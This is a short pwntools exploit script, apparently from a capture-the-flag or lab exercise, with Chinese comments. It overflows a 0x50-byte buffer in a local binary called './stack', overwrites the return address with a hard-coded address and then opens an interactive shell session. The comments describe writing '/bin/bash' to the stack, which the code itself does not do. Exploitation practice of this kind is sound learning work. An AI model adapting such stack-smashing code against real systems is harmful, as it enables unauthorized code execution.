from pwn import *
from pwn import process

# 把buf的地址保存起来，为了后续向该地址中写入要执行的代码

p = process('./stack')

# 写入/bin/bash字符串
# 由于系统调用要调用bash弹出一个shell，所需要先将该字符写入到栈中，思路是：
# 将该字符串写入到buf首地址的空间中，接下来系统调用传入地址时，只需要传入数组的首页地址即可。
payload = b'A'*0x50 + p64(0x555555554000+0x124b)

context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 64

p.sendline(payload)
p.interactive()
